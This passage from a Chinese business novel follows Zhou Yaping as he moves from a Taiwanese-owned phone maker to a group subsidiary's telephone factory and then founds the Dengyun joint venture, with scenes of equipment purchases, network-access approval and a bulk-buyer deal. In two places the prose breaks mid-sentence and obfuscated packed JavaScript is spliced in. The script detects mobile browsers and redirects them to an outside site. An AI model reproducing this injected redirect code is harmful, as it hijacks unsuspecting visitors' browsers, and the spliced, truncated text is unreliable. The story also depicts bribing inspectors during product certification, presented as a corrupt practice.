“你也一样!”彭总教训道,“亚平,不是我说你,你身在改革开放前沿阵地,思想怎么也这么僵化?你自己的工资,一定要理直气壮地去拿!” 接着,彭总还给西门打了电话,数落了一番。西门开始以为是周亚平告的状,害得自己挨骂,心里对周亚平一肚子火。后来,他才知道实情,消除了误会,两人的关系重归于好。 这次,周亚平把邓老板不打算合资一事告诉西门后,西门恨得牙痒痒:“这个家伙,他自己跑去找部长谈合资,我们花了这么多的精力来与他合作,谁知他是在敷衍我们。又不打算合资,还要用我们的干部,哪有这么便宜的事。老周,你必须赶快离开邓老板那里!” “我也是这样想,给总部汇报了,但彭总说他们再商量商量,让我再等等。” “等等?邓老板都明确表态不再搞合资了,还等什么?这不正合他意,白用我们的干部。我看,老周,要等也不能在他的企业里等。干脆,我帮你联系一下,你先到‘鸿信’公司去一段时间,要等也得在我们自己的企业里去等。” “‘鸿信’公司?”周亚平不解。 “对!‘鸿信’公司,”西门进一步解释,“这也是我们集团在深圳开办的一家内联企业,主要是研发、销售高科技产品的。老总姓姬,叫姬羽辉,要不我先给他打个招呼,你再抽时间过去谈一谈?” “好吧。不过这事我也得先给彭总说说,把这个意思告诉他。” 隔天,周亚平给彭旭辉汇报了此事。彭沉吟了一会,说:“也行吧,你先去问一问老姬,看他什么意见。如果同意,你去帮帮他,也好。” 22. 二十二 “鸿信通信设备有限公司”,是周亚平他们集团公司西北直属厂与本市邮电企业的内联企业,主要是瞄准当时最先进的程控交换机技术,进行研制开发。 周亚平与姬羽辉电话约定,星期天到该公司见面交谈。 周日上午,周亚平与林铮来到“鸿信”公司。该公司位于市中心一栋商业大楼的26层,公司有三十几个人,大部分是高科技的研发人员。 姬羽辉在自己的办公室里接待了两人。 “真不好意思,姬总,星期天还要打扰你休息。但你知道,我们那种外资企业,平时是没有一点空闲时间的,如果我们两人同时请假,又担心邓老板有想法。”周亚平与姬羽辉一边握手一边解释。 “周厂长,完全理解!没关系,平时周日我也都是在办公室度过的。”姬羽辉笑着说,“我们这些人就没有星期日必须休息的概念。” 主客坐定后,周亚平把整个情况向姬羽辉详细做了介绍。 说到最后,周亚平叹了口气 :“现在真是没有主意了,不知道怎么办才好?上头也知道让我再留在邓老板那里给他打工不太合适,但上面对合资一事又没有完全死心。因此,我只有按照西门主任的建议,与你商议,能否先到你这里来工作,过渡一段时间,看看邓老板那边今后有没有变化。” 姬羽辉端起水瓶,帮周、林二人杯子里续水,说:“你的情况彭总和西门都和我说过,我知道目前的尴尬局面。我这里程控交换机从研发到投产可能没有那么快,为了维持公司运转,正在考虑增加新的产品项目。听说你要来,我想,不如我们也建一个小的电话机厂,然后办理国内的电话机入网手续,在国内销售。你在邓老板的电话机企业搞这么久了,应该对办厂一事非常熟悉。这个工作就全权交给你,你看怎么样?” 周亚平懂得,我国的交换机由机械式向数字式转型,是一个艰难的攻关项目,需要一定的研发时间。“鸿信”公司先上电话机,也不失为一步好棋。 “这个想法不错,先把电话机生产运作起来,打个‘短平快’,完全可行!”周亚平肯定了姬羽辉计划,“详细情况等我正式来了后再谈吧。姬总,你看我什么时候可以过来?” “越快越好,这要看你那边什么时候办好交接,”姬羽辉说,“对了,小林是不是和你一起过来?” “这件事我与总部汇报过,他们的意见是,由于林铮现在是邓老板的助理,为了维持好目前的关系,不能马上离开,还是让他继续在‘登字’企业里干吧。” “行!那你就尽快去邓老板那里办理辞职手续吧,我这里都会给你做好各种准备工作。” 看看手表,已经上午十一点多钟了,周亚平站起来辞行:“姬总,没别的事我们就先回去了。” “那怎么行?必须吃完午饭再走。”姬羽辉是个非常好客之人,不会让客人轻易离开。 午餐的地点是在公司附近小街的一家餐厅,看来饭店老板与姬很熟,见面就热情招呼:“姬总来了,老位置给你留着呢。” 林铮笑着打趣:“姬总,这儿是你们公司的第二食堂?” 姬也不客气:“没错,这就是我公司的食堂,但不是第二,而是第一。” 接着又像炫耀又像诉苦般地说:“你们不知道,我们集团在全国有多少子子孙孙的企业,经常有不少人,以各种理由,比如说考察学习,合作互联,寻找商机,等等,来到鹏城。我这人臭名远扬,来了都找我,我有什么办法,起码应该尽地主之谊吧。因此,这里就成了我们公司的食堂。” 接受了姬总在“食堂”的热情招待后,周亚平与林铮坐车回了“登字”企业。 第二天,周亚平向邓老板正式提出辞职。 由于此前早有沟通,邓老板并未十分惊讶,只是提出,能不能把林铮留下来。 周亚平顺水推舟地答应了。结局很圆满,虽然舍不得周亚平,但毕竟留下了自己的助理,邓老板也很高兴。周亚平顺利地办理了离职手续。 再次回到“鸿信”公司时,接待他的除了姬羽辉,还有公司副总经理王世宏。 姬羽辉介绍:“周厂长,这是王副总,王世宏。王总是我们的合作单位派来的代表,曾经在邮电大学教过书。” 周亚平与王世宏握手:“你好!应该叫你王教授,请多关照。” 王世宏也满脸堆笑:“早就听姬总介绍过你,是我们内地企业有名的厂长,幸会,幸会!” 姬羽辉对王世宏说:“王总,上次我与周厂长商量过,打算办一个小的电话机厂,完全由周厂长打理。前期有很多筹备工作,需要公司协调,你就辛苦一下,帮把手吧。” “好吧!”王世宏满口应承,“但搞工厂我是外行,请周厂长多指教。” “王教授,岂敢指教,”周亚平非常诚恳地说,“出力跑腿的活我来干,你们负责指挥、策划。” 说干就干,新工厂的筹备工作马上进入流程。 从理论上讲,实体工厂占地面积大,为了节省开支,应该建在郊区较好,这也是周亚平的意见,但姬羽辉为了便于管理,坚持把厂址设在离公司不远的一栋楼里。 接下来是设备选型采购。鉴于确定的是小规模电话机工厂,周亚平考虑只需一条插件线,一条带波峰焊机的焊接线和一条装配线即可。 这些设备的生产厂家,都是周亚平非常熟悉的。 在皮带流水线生产厂,周亚平与王世宏商议:“王总,你看看,这里的生产线,有两种座椅形式,一种是‘排排座’,一种是‘飞机座’,我们选哪种好?” 王世宏看了看摆放的样品线,同时看了看价格,说:“排排座的价格便宜不少。” “是的,所以我很纠结。从生产的便利性来看,这种‘飞机座’座椅形式由于每个工位是单独一张操作台,工位清晰,产品及工装摆放位置充裕,操作方便,效率更高。”周亚平停了一会,“但我又想尽量节省一点。” “我们还是考虑长远一点吧,不省这一点钱了,我看就订‘飞机座’的流水线吧。”王世宏说。 从设备订购到进厂安装,一个月时间全部搞掂。 “登字”厂有个生产线的线长,叫肖晓,是周亚平的老乡。听说周亚平离开‘登字’后正在开办新的电话机厂,闻信赶了过来,对周亚平说:“周厂长,还是跟着你干要踏实一些,让我过来吧。” “太好了,正需要你这种骨干,”周亚平喜不自禁,“对了,我们现在还缺少波峰焊机的操作工和熟练的电话机修理工等,你想想办法,尽快找来。” “完全没有问题,我早就想好了人选,他们知道是到你这儿,一定愿意过来。”肖晓充满信心。 “鸿信”公司的电话机厂很快就投入了生产,这种速度,连姬羽辉这种性子较急,干事雷厉风行的人都感到不可思议。他从生产线尾部拿起装配好的第一台“鸿信”牌电话机,激动地对周亚平说:“好!太好了!居然这么快就建成了工厂,生产出了产品。” “姬总,这不算什么,从生产线设备到装配用的元器件,都是购买现货产品,当然速度很快。这款电话机只是我们的第一款产品,为了赶时间,我们现在采用的是公模注塑的电话机外壳。今后要创品牌,就必须由我们自己设计外观,自己开制塑胶模具。这样的电话机,才是世界独一无二的机型。当然,那样的话,时间要长一些。” “是的,我们要创‘鸿信’自己的电话机品牌,”姬羽辉坚定地说,“对了,周厂长,你不是说过要办理国内的电话机入网手续才能销售吗,我已与北京检测中心联系好了,其实那里的主要骨干都是我们总部原标准化所的老朋友。你抓紧时间按规定调测样机,准备好了我就马上派人去办理入网手续。” 中国是个人情社会,这话一点不假。周亚平听别人介绍,办电话机入网手续前前后后至少要三、五个月,搞不好要半年到一年。但姬羽辉亲自参与此项工作,动员了自己的一切社会关系,才一个多月,就拿到了“入网证”。 办好产品的入网手续后,“鸿信”电话机正式在国内销售。 姬羽辉充分利用自己的交际能力和关系网,把人情销售做到了极 致。 时常出现这样一幕,在公司“第一食堂”的饭桌上,姬羽辉端着酒杯向某个局长敬酒:“今天说好了,今年电话机订货的数量就全在酒杯里了。我敬你一杯,你们局必须订购‘鸿信’电话机1000台,我能喝多少杯,你就必须订多少台。” 那位局长正喝得酒酣耳热,此时也顾不得什么需求计划和采购程序,嘶哑着喉咙大叫:“老姬,只要你敢喝,我就敢下单订货。喝吧,喝吧!喝死你!” 这种销售方式让周亚平大开眼界,搞了半辈子的企业,又是研究市场规律,又是策划营销方略,又是组建销售团队和销售网络,费尽了心思,想不到,姬羽辉的一顿酒就把所有的都代替了。 也好,周亚平觉得这样让自己省了很多事。根据以往经历,产品销售是企业关键的环节,占用领导者60%以上的精力和时间。而现在,周亚平只需抓好生产就可以了,免去了很多应酬和麻烦。 周亚平知道自己不可能长久留在“鸿信”公司,为了“鸿信”电话机厂长治久安,周亚平有意识地在工厂培养一批管理人员和技术人员。另外,不断培育积极向上的企业文化。那一年的元旦,在“鸿信”电话机厂迎新年文艺晚会上,员工们自娱自乐,演出了自己排练的节目,周亚平也表演了小提琴独奏曲“梁祝”片段。当晚,全厂员工玩得特别开心。 虽然“鸿信”电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听说了,”邓老板微笑着说,“还是回来吧,我决定,仍按原来的计划,我与你们集团公司合资办一个电话机生产企业。刚到大陆时找你们部长谈,当时确实是有点野心,想以我们两家的实力,要办成全世界最大的电话机企业。现在看来,国内尽管有十一亿多人口,但受发展水平的限制,电话机销量有限,而我的外销单却越来越多,合资企业就从帮我加工外销订单开始吧。规模嘛,也不要那么大了,从小一点开始发展。我看双方投资40万美金就差不多了。我是外资方,按照基本投资额,占25%,10万美金;你们30 万美金,占75%。怎么样?” 周亚平稍加思索,说:“我个人没什么意见,但这件事必须由总部确定。这样吧,邓董,下午我就和彭总联系,将这件事汇报,” 离开邓老板办公室后,周亚平在‘登字’厂转了一圈,与老同事们见个面,聊一聊。接着,又与林铮商谈了准备给总部汇报的内容细节,一起吃了午饭,随即返回市区。 下午,周亚平拨通了总部彭总的电话。 周亚平把与邓老板沟通的详情报告彭总,并发表了自己的意见:“彭总,不管邓老板是怎么想的,但合资办厂一事他是下决心了,我看这是个机会,企业小就小一点吧,反正今后也不可能指望完全靠他。” 彭总听了,表示赞同:“行!亚平,就按邓老板的方案去筹办吧。你们抓紧时间办理公司注册手续,然后把新公司账号发过来,到时候我让财务部汇钱过去。” 与彭总通话后,周亚平立即去找姬羽辉和王世宏,把这件事告诉他们。 由于都知道周亚平来“鸿信”是过渡安排,所以二人并不感到意外,但姬羽辉还是叹了口气:“周厂长,真舍不得你走,但你肩负总部使命,我们想留也留不住。哎,这段时间我们公司真有点走霉运,前两天刚被其它企业挖走一个研发骨干,现在你又要走。” “谁被别人挖走了?”周亚平好奇地问。 王世宏回答:“就是那个长春厂调来的小孙,程控交换机技术员,姬总说他是个人才。但这次一声不吭就走了。” “这个挖人的企业也真无聊,怎么在这个关键时刻跑到同行来挖人?”周亚平愤愤不平。 姬羽辉苦笑一声:“就是必须到同行才能找到有用的人才呀。但我不知小孙是怎么想的,我们好歹是中央企业的下属公司,据说他去的那家企业是个民办企业,就是个体户,规模和我们差不多,工资也不高,而且每天还要加班到很晚。” 王世宏说:“是呀,小孙给他在我们公司的好友打过电话,说每天都要加班到零点以后。有意思的是,他说他们老总和他们一起加班,晚上就睡在调测程控交换机的机房里。” 谁也想不到的是,就是这个到“鸿信”挖人的研发生产程控交换机的小公司,多年之后竟成了赫赫有名、享誉世界的特大型通信企业。小孙在这家公司做到最大的职务是副总裁。为什么说不是最后的职务呢,这是因为小孙担任副总裁后,曾经由于有段时间的工作一直没有起色,又被贬为部门总经理。 周亚平就此离开了“鸿信”公司,去开创新的事业。 23. 二十三 本来合资企业是由“登字”集团和周亚平所在的部属通信集团公司两家组成,但中间出现一个插曲。林铮有一位天津老乡,原来是他们家的邻居,现在鹏城市政府担任一定职务,他听说要成立的这家合资企业由部属企业为主组成,也想让下属事业单位“信息中心”参加进来。当时,还没有文件禁止机关事业单位办企业,而周亚平他们觉得有市政府的下属单位参加,也是一件好事,故一拍即合。经与总部商议后,最后确定,在新公司中方75%的股本中,集团公司占股50%,出资20万美金,“信息中心”占股25%,出资10万美金;外资方“登字集团”仍占股25%,出资10万美金。 新公司必须有个响亮的名称,这是大家一致的意见。邓老板对此没有具体的要求,只是坚持,既然是“登字”合资企业,公司名称第一个字,必须是“登”。 这使大家颇费心思去找“登”字开头的词汇,但颠来倒去,也实在找不到什么特别亮眼的名称。 还是林铮出了个主意:“周厂长,我看就叫‘登云’吧,这两个字简单明了,也顺口,寓意直登九天云霄。” 周亚平虽然觉得这名称有点俗气,释意也有点勉强,但确实也想不出更好的,于是拍板:“算了,别在这里耽误时间了。就这样,叫‘登云’公司。” 按照总部领导的意见,林铮没有进入“登云”公司,仍然跟随邓老板。直到后来,邓老板的企业搬离鹏城,他才被总部调到珠海的另一家企业担任总经理。 有了机关事业单位加持,合资企业的注册登记手续一路绿灯,很快就拿到了“登云电子有限公司”的营业执照。 到了正式注资的环节,邓老板那边又出了状况。中方两家的资金按时汇入了公司账号,但外资方的资金迟迟不见到账。周亚平追问邓老板,邓老板却满不在乎地回答:“急什么?没看到‘登字’近来业务量越来越大,占用了大量资金,一时周转不过来吗。你们不必等,新公司先运作起来,资金后续注入,这是很正常的。” 周亚平他们一想也对,如果省着点,光买设备、租厂房花不了多少钱,先开工再说。于是,“登云”公司的筹建风风火火地开展起来。 邓老板“登高电子厂”的楼下刚好有一层空楼,周亚平他们租下来作为新企业的厂房。 由于有多次建厂的经验,这次的筹建速度更快。没过多久,“登云”厂就正式投产。 初期生产主要是帮邓老板加工出口订单。虽然任务排得满满的,每天两班倒,但由于电话机的加工费压锝很低,所以,尽管员工们拼命干活,公司的利润却不高。 最让人心有不平的是,邓老板应汇入公司的10万美金,一直没有消息,非但如此,他还反过来要求“登云”公司缴纳所谓的“材料保证金”。理由是,“登云”厂帮他加工出口单,每个月领取了大量的电子元器件、部件,这些都是他们花钱买来的,如果“登云”管理不善,造成损毁或丢失,这个损失必须从“材料保证金”中扣除。说起来也够搞笑的,保证金的定额也是10万美金,合资企业不但没得到“登字集团”一分钱投资,倒反贴给邓老板10万美金的保证金。 合资厂当时除了加工外销单,也没有其它业务,为了企业生存,明知不合理,周亚平也只得乖乖地忍受。 就这样,合资公司依靠邓老板的加工订单起步,尽管加工费很低,但由于公司尽量地节约开支,因此倒也能继续维持运行。 周亚平一直在思索如何改变企业这种仰人鼻息的处境。那天,正好有个内地来的朋友参观工厂,当他看到“登云”加工的外销电话机样品时,对有的款式赞不绝口,在他听到出口价格才几个美元后,更是十分诧异。这个朋友提醒周亚平:“你们为什么不生产一批拿去国内销售呢?国内现在的电话机大多还是多年不变的老款式,没有这么漂亮大气,而且价格贵得吓人。你们如果拿这些去内销,物美价廉,一定大受欢迎。” 其实,周亚平早已考虑过这个问题,但顾虑太多,既怕邓老板不同意,不肯把外销机壳卖给“登云”公司,又担心生产出来的产品找不到销售渠道。朋友的一番话点醒了他,责备自己犹豫不决,耽误大事。心想,如果不去行动,不去闯,“登云”公司就永无出头之日。 大方向确定后,周亚平仔细分析邓老板的心理,觉得只要把道理讲清楚,他应该不会反对合资厂内销电话机。 找到一个合适的机会,周亚平与邓老板进行了一次沟通。 “邓董,有件事我想了很久,希望能与您谈谈。” “什么事?但说无妨。”邓老板盯着周亚平。 “邓董,你看,‘登云’公司成立也好几个月了,但光靠加工外销订单,收入有限,只能勉强维持企业运行。长此以往,企业怎么有钱给股东分红?我这个总经理又怎么面对邓董你们这些股东?” 沉静了一会,周亚平继续说:“我记得您多次说过,中国大陆十一亿多人口,将来电话机的需求量会大得惊人。但我们不能等,现在就要创造条件,逐步进入国内市场,与市场一起成长。我相信,只要我们把握好这个机会,一定会有较大的收益。等到国内市场电话机需求量大爆发时,我们已经是纵横四海的企业先锋了。” 邓老板倏地从椅子上站起来:“道理是这个道理,你打算怎么去做?” 周亚平见有戏,更来劲了:“我仔细分析了我们‘登字’生产过的外销机型,发现有一款座机式样新颖,造型美观,是国内现有电话机没法比的。如果我们把它按国内电话机技术指标重新开发,然后组织生产,同时去办理国内电话机入网手续。我相信一定会卖爆。” 说完,周亚平从挎包里掏出所说的那款电话机,递给邓老板。 邓老板打量了一下,说:“这款机型多年前在国外确实卖得很好,但现在没什么销路。老周,我们现在生产的很多款面包机也都非常时尚、漂亮,你为什么没看中呢?” 周亚平笑了笑:“邓董,不瞒你说,这一点我分析研究过,中国老百姓的审美观与老外的审美观还真不一样。我拿了几款我们生产的面包机广泛征求过意见,大多数人都认为,这样狭窄的长条型电话机摆在家里小家子气,上不了台面。而我給您看的这款大型座机就不一样,造型四方四正,按键大而醒目,还带一个很大的LCD显示屏,摆在客厅里,高档大气,应该是很多人的首选。” “喔,有意思,看来对电话机款式的喜爱也有个时间差。你拿来的这款,早年前老外也喜欢过,而现在,他们却喜欢线条流畅,造型简朴的面包机。”邓老板饶有兴趣地分析,“好吧,就按你说的,先用这款座机去开发生产内销机吧。不过,丑话说在前头,机壳卖给你们的价格肯定要高一些,我要把摸具费用摊进去。反正你们内销价格会比较高,完全能够承受。” “价格只要不太离谱,高就高一点吧。”周亚平回复。 说干就干,周亚平安排技术人员抓紧开发这款准备入网的电话机。 开发人员认真研究国内电话机技术标准后,找到周亚平,说:“周总,国内电话机的各项技术指标,比外销机严格太多,特别是电声指标,可以说是非常苛刻。你要我们开发入网电话机,但我们连测试这些指标的电声测试仪都没有,怎么去开发?” “买一台电声测试仪要多少钱?”周亚平问。 “台湾的阳光电声测试仪,怎么也得十几万元吧。” 周亚平无语了,公司现在一下子拿这么多钱,确实有些困难。 负责开发的技术部经理欧阳剑三见周亚平面有难色,出主意说:“周总,邓董事长他们的研究所里有这种仪表,要不先向他们借用?” 另一位技术员当即反对:“他们研究所也时时要用,会借给你?再说,就算开发这一关过了,今后生产线上也必须配备一台。这可不像生产外销机,一次定型后,生产线不需测试电声指标。入网机必须台台测试,台台符合发送、接受、侧音等各项电声指标,否则就会被投诉,被退货,甚至被强行取消入网资格。” 周亚平被说得心烦:“行了,行了!我知道了,让我想想办法。” 独自思索了一阵后,周亚平决定去找“登字”研究所的所长赖炅明。 赖炅明原来是主管技术的协理,后“登字”成立研究所,他升任所长。赖炅明曾经是内地国营大企业的工程师,和周亚平很投缘,现“登云”厂在技术上遇到难题,周亚平首先想到的是应该找他咨询。 听完周亚平的诉说,赖炅明轻松地回答:“我还以为真有什么大难题,这算什么?我们所里,本来有两台电声仪,可惜有一台已经完全不能使用,正准备送回台湾修理。好的这一台,所里时不时还需要用一下,借给你们可能不行。再说,邓老板知道了又要说闲话,真不愿听。” “周厂长,啊,不对,现在应该是周总!你们的问题可以这样解决,在需要调测电声指标的时候,让你的工程师拿机子来我所里调测,我会安排人员全力配合。反正又不远,楼上楼下的,很方便。” 周亚平听了,表示感谢,但提出,现在开发阶段可以这样解决,今后进入生产阶段怎么办? 赖炅明嘿嘿一笑:“你也算来得巧,前两天,我在东莞的一个老朋友打电话给我,说他们厂附近有家台资电话机厂由于债务纠纷被迫关门,正准备清算处理设备、仪表,问我去不去参加选购。你不找来,我还真不打算去,现在你们既然需要电声仪,我就陪你跑一趟。根据我的经验,这种破产处理的旧仪表,都非常便宜,估计几万元钱就可以拿下。周总,你们不会连几万元都拿不出来吧?” “那要看到底几万元,无三不上‘几’,如果是三、五万元,还勉强可以,如果到了八、九万元。我们还真够呛。赖工,企业起步不容易呀!”周亚平如实告知。 “理解,完全理解!我估计应该不会到八、九万那个价,到时去压价吧。” 两人约好,明天就去东莞那家倒闭厂。 第二天,赖炅明特意向公司叫了部小车,和周亚平一起,直奔东莞而去。 到达目的地时,已挨近中午,赖炅明的朋友早已在现场等候。 果然,处理的设备中有一台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479022|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳光电声仪,估摸有个七、八成新,开价6 . 9万元。 赖炅明装着漫不经心地和处理设备的老板谈价:“哎呀,这么破旧的仪表还要这么高的价,怎么卖得出去?” 那位老板不干了:“什么?‘破仪表’,这台阳光仪是前年才买的,要不是股东闹纠纷,我实在不想再维持,我会这样血本无归地贱卖掉?做梦都别想!” 担心把事情闹僵,赖炅明的那位朋友赶忙打圆场:“赖所长,您是老工程师,应该看得出这台仪表确实是不错的,如果不是主家现在有困难,谁也舍不得割肉。”转过来,他又劝卖主,“也难怪赖工他们还价,这不是刚成立公司吗,大家都不宽裕,这种高档测试仪表就是摆在公司唬唬用户,生产中是可要可不要的。太贵了,自然不想买了。” 周亚平接过话茬:“老板,给你说实话,我们初创企业,资金非常紧张。按理说,你出的价格不是很离谱,但还是希望能再降一点。我想5 . 8万元应该比较合适。” 赖炅明的朋友立即附和:“对,‘吾发’,‘吾发’,5 . 8万元是个吉利数字,老板,可以了!” 卖主处理这些设备、仪表已经好几天了,不知何故,询问电声仪的寥寥无几,他也担心窝在手上,现在有人诚心要买,只好就坡下驴,答应了按此价格出售。 购回电声仪后,“登云”厂的内销电话机开发进度明显加快,终于在计划日期内拿出了合格样机。周亚平亲自参与样机的各项指标测试后,高兴地对欧阳剑三说:“欧工,不错,我看指标比我们从市场买来的样机还要好。你们再辛苦几天,与生产线合作,赶快制作一批成品机,请省行业管理处来人抽样。然后就可以把样品送北京传输所测试,办理进网手续。” 欧阳满口应承:“周总,你放心吧,没问题。我们知道这件事关系到公司的发展前途,一定会全力以赴。” 虽然在“鸿信”厂时也办过入网手续,但那全部是由姬羽辉一手打理。老姬是何等人物,公关手段一流,办入网这种在周亚平看来非常严谨甚至有点神圣的工作,在姬羽辉眼中小菜一碟。 周亚平清楚地记得,当时他研读过电话机进网条例,了解一些细则。如按照规定,送检的样品,必须由邮电部门行业管理处派来的人员从申报单位电话机产品中(至少500台)随机抽取15台,单独封存,然后贴上由行管处人员盖章、签字的封条,再寄往国家主管检测单位。 当时,正当周亚平准备安排制作500台成品机时,姬羽辉阻止他:“周厂长,不要去干那种费力不讨好的傻事了。你想想,500台电话机,要一台一台地去检测各项指标,为保险起见,还要反复测试 ,这要花多少时间呀?即使这样,还保不定其中有某项指标不达标的混在里面,到时还是通不过。这样吧,你只需按抽样数量,精心准备15台样机就可以了,但这15台样机绝对不能出问题。” “15台样机都不能保证质量,那还搞什么生产?”周亚平嘟囔着说。 “那就行,其它你不用管了,一切由我来处理。” 尽管老姬大包大揽,但周亚平一直忐忑不安,心想,到时候行管处来人如果一定要验收500台电话机母本,我们却毫无准备,岂不大出洋相。 这天,行管处两名工作人员在姬羽辉的陪同下,来到“鸿信”电话机工厂,经过例行的参观、问询后,到了抽样环节,周亚平一颗心悬在半天云里。 行管处的人员走到仓库门口时,其中一个负责人突然对姬羽辉说:“姬总,口有点渴,能不能去喝杯茶?” 姬羽辉拍着自己脑袋:“该死,该死!只顾工作了,怎么忘了这起码的礼节,让你们受渴。来,来!我们到办公室喝茶去。” 那位负责人朝周亚平点点头:“周厂长,那我们喝茶去了,你受累了,请你帮我们去500台成品机中抽取检测样机吧。注意,一定要随机抽取,要从不同的箱中抽取,一个箱里要按上中下分不同层次抽取。”说完,嘻嘻哈哈地随姬羽辉去办公室了。 周亚平一开始也给闹糊涂了,这么重要的抽样程序,居然交给送检单位自行完成,这不是笑话吗。但他立即意识到这里的猫腻,等他们离开后,他当然顺理成章地把准备好的15台样机拿出来,送到办公室去。 行管处来的两位人员亲自动手,非常庄重地把样机装入纸箱,贴上封箱胶带,在上下两面的封箱胶带上分别贴上带来的盖有大印的封条,最后两人都在封条上签上自己的大名,仪式完毕。 周亚平想不通,行管处人员怎么会在最重要的抽样环节借故离开,让被检单位自己完成抽样。 事后,周亚平将不解之处询问姬羽辉,老姬狡黠地笑笑:“这你就不懂了吧,靠这个,”姬用手做了一个数钱的手势,“给的红包名称还很好听,叫‘技术咨询费’。” 现在轮到自己亲手办理电话机进网,明知有些捷径,周亚平也不屑于去走,而是与部属一起,按照电话机进网细则一步一步认真办理。尽管工作艰辛一些,时间慢了一些,最终还是顺利拿到了第一款电话机的进网许可证。 24. 二十四 “登云”厂过去一直帮邓老板加工外销电话机,偶尔也接一些其他客户的加工单,但那都是大进大出,大批材料进厂,大批货物出厂,只收加工费用,不需考虑产品销售问题。现在开始生产国内标准的进网电话机,如何建立销售渠道,把产品卖出去,成了企业首要任务。 “登云”公司为此专门成立了“市场部”,虽然暂时只有两名成员,但毕竟完成了一次向市场进发的转型。 向外界放出去的信息及向有关电话机营销机构送出去的样品很快就有了消息,小量订单陆续而来,形势比较乐观。 周亚平与大家商议,先生产几千台内销机放在仓库以供发货,然后,继续进行加工订单的生产。 加工一台外销电话机,加工费才几元钱,除掉房租水电、人员工资及管理费用,纯利才几毛钱;但销售一台内销机,纯利高至20—30元,简直是暴利。为此,“登云”公司上下,都沉浸在一片欢乐当中。 由于这款内销机外观确实漂亮,特别是面壳上有一块当时罕见的大液晶显示屏,显得更加气派非凡。这款厂内简称的“大屏机”,内销开始后第一个月,纯利就突破了7万元。财务部经理蒋娜娜兴冲冲地把报表送到周亚平办公室,其实周亚平也难抑欣喜之情,但在财务经理面前,又装着满不在乎地说:“内销电话机一个月才卖了3千多台,还要加油呀。” 蒋娜娜本来是给老总报喜 ,听这一说,不乐意了:“周总,这可是我们公司成立以来,利润最高的一个月呀!” “我知道。行了,你先去忙吧!”周亚平突然想起什么,“对了,小蒋,你记住,这个月给全体员工每人增发200元奖金,我回头通知人事部去办手续。” “好!”蒋娜娜兴高采烈地离开总经室。 尝到了甜头,使周亚平更加坚定了发展产品内销的决心。接下来,他通过各种关系,与有关邮电局直接联系,征询订货事宜。但效果不大,很多邮电局都表示,局里没有采购权,按照当时的体制,各个邮电局所需的器材,包括电话机,都由上级部门的器材公司供应,而每个省的器材部门,在计划经济体制下,都是固定地向国内几个大电话机企业采购,像“登云”这样的新的不知名企业想打进去,门都没有。有的邮电局领导,碍于情面,答应可以少量采购一点样机,作为局内备损话机,但那也不过是杯水车薪。 这天,周亚平一个人静静地坐在办公室里,正在为进一步开拓市场冥思苦想。突然,门卫打来内部电话,报告有两个广州的客人求见,说是洽购电话机。 “带他们进来吧!”周亚平告诉门卫,同时电话通知市场部经理陈佑福到自己办公室来。 广州两位来客特别像相声演员,一高一矮,一瘦一胖。一见面,那个又高又瘦的客人打开一个精致的名片盒,拿出两张名片分别递给周与陈:“鄙人朱庆桂,广州‘大漠’公司副总经理,请多关照。” 周亚平把目光转到又矮又胖的另一个客人,那位憨厚地笑笑:“我叫侯熙敏,也是‘大漠’公司的。” “他是我们公司的总经理!”朱庆桂补充说。 周亚平招呼他们入座:“欢迎,欢迎!” 陈佑福给来客端上茶水,也给客人递上名片:“我是主管产品销售的,侯总,朱总,两位有何见教,请尽管吩咐。” 只见朱庆桂从挎包里拿出一台电话机,这正是“登云”公司的大屏机。 “这台电话机是贵厂的产品,我们今天来就是洽谈这款电话机订货事宜。”朱庆桂说明了来意。 周亚平说:“没问题!请问,大概需要订购多少台?” “你有多少台我们就要多少台。”侯熙敏斩钉截铁地说。 此话一出口,把周亚平和陈佑福吓了一跳。 朱庆桂赶忙解释:“侯总的意思是,根据你们的生产能力,这段时间生产出来的产品我们全部要了。” 周亚平如实相告:“我们现在规模不大,才两条生产线,一条做外销机加工,另一条可以专门用来生产内销机。这种带液晶显示屏的座机比较难生产,一条线一个班最多生产600多台,两班倒生产,一天也就1200台左右。” 朱庆桂笑了:“那就完全没有问题,从现在开始,一年之内,你们这一款内销机每天的产品,我们全包了。” “啊 !全包?”陈佑福惊诧地问。 侯熙敏肯定地回答:“一点不错,全部由我们包销!” 朱庆桂补充道:“我们今天就可以签订合同,正式确定这件事。我们的职责和义务是每天派车来运走你们出产的电话机,你们的职责和义务是保证每天生产1200台这款电话机,并且不能再把这款机卖给其他任何人。” 陈佑福不太放心地说:“你们每天派车来提货?我们现在卖货都是现款现结,绝不赊账的。” “这点规矩我们懂。你看,我今天就是带着现金来买货的,”侯熙敏打开随身携带的手提箱,里面全是钞票,“这里有20万元,今天就留在你们这里,权当是定金。”说完,把手提箱的钱全部倒在办公桌上,桌上顿时堆满了一沓一沓的人民币。 这种逼人的豪爽 ,让周、陈二人有点目瞪口呆。 眼看已到午饭时分,周亚平吩咐陈佑福:“老陈,你打电话去附近餐厅订一桌,中午请‘大漠’公司两位老总吃个便饭。” 朱庆桂急忙阻止:“不用了,今天中午是我们请你们,这是来之前侯总就确定好的,其实你们这个地方我们以前经常来,很熟悉,不远处有家潮州饭店相当不错,等会我们开车去那里吃饭。现在以工作为重,请陈经理辛苦一下,根据刚才我们说到意思起草一份合同,把合同拟好后我们再去吃饭。你们如果没意见,下午就可以签订合同。这就叫速战速决。” 周亚平想了想,说:“好吧,那就请两位在我办公室喝茶,我们去市场部再商量一下,看如何起草合同文本。” 